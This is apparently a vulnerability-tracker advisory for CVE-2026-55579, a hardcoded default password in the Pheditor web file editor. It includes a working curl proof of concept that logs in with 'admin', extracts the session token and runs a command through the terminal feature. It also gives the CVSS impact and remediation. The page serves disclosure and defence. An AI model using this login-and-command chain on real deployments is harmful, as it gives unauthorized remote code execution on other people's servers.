CVE-2026-55579Critical· 9.8▾ AbyssalPoC availablePheditor: Hardcoded default password 'admin' with no forced change enables full application compromise
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 53.9 · likelihood 0.1 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 28.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.6%
1 GitHub repo
Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.
Tested repository: https://github.com/pheditor/pheditor
Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)
Affected version: All versions of Pheditor
The password is hardcoded at pheditor.php:11:
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
This is the SHA-512 hash of the string admin:
echo -n 'admin' | sha512sum
c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec
The application displays a warning banner at pheditor.php:1956-1958 when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.
The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.
Combined impact: With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.
Environment: Any system running Pheditor with default configuration.
Setup:
git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &
Positive trigger — authenticate with default password:
curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
-d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}"
Expected: 200 — successful authentication with the default password admin.
Verify full access:
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="
Expected: id output showing web server user — proves full system access through default credentials combined with terminal RCE.
Control (wrong password):
curl -s -X POST http://localhost:8080/pheditor.php \
-d "pheditor_password=wrongpassword" | grep -o 'not correct'
Expected: not correct — authentication logic works but default password is trivially guessable.
Cleanup:
kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt
Use of Hard-coded Credentials (CWE-798). The default password admin is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.
Attacker privileges: Unauthenticated remote attacker (PR:N).
Security boundary crossed: Unauthenticated → fully authenticated administrator.
Confidentiality impact: High — read all files within MAIN_DIR and beyond (via terminal).
Integrity impact: High — write/delete files, upload webshells, modify application code, execute arbitrary commands.
Availability impact: High — delete files and directories, disrupt services.
Suggested remediation:
password_hash() / password_verify() with PASSWORD_BCRYPT instead of raw SHA-512.pheditor/pheditor >= 2.0.1, < 2.0.6Upgrade to a patched release:
pheditor/pheditor 2.0.6Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
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